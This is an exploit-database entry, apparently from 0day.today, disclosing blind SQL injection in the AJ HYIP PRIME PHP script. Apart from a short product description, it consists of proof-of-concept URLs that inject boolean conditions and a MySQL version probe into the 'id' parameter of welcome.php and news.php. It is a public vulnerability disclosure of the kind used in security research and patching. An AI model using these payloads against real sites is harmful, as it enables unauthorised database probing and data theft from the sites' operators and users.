AJ HYIP PRIME (welcome.php/news.php) Blind SQL Injection Vulnerability

2010-07-22T00:00:00
ID 1337DAY-ID-13429
Type zdt
Reporter JosS
Modified 2010-07-22T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ======================================================================
AJ HYIP PRIME (welcome.php/news.php) Blind SQL Injection Vulnerability
======================================================================


- site: http://www.ajsquare.com/products/ajhyip/index.php
 
- about AJ HYIP:
 
AJ HYIP is a complete financial tool with no technical
knowledge required to manage the site. AJ HYIP software
is the latest and most advanced HYIP Script with excellent
navigation features. Our HYIP Script can be easily customized
to accustom your needs with a potential to generate heavy revenues.
 
 
~~ [POC]
 
http://target/path/welcome.php?id=3 [bSQL]
http://target/path/welcome.php?id=3 and 1=1
http://target/path/welcome.php?id=3 and 1=2
 
~~ [DEMO]
 
http://server/prime/welcome.php?id=3 and substring(@@version,1,1)=4
http://server/prime/welcome.php?id=3 and substring(@@version,1,1)=5
 
 
~~ [POC]
 
http://target/path/news.php?id=1 [bSQL]
http://target/path/news.php?id=1 and 1=1
http://target/path/news.php?id=1 and 1=2
 
~~ [DEMO]
 
http://server/meridian/news.php?id=1 and substring(@@version,1,1)=4
http://server/meridian/news.php?id=1 and substring(@@version,1,1)=5



#  0day.today [2018-01-02]  #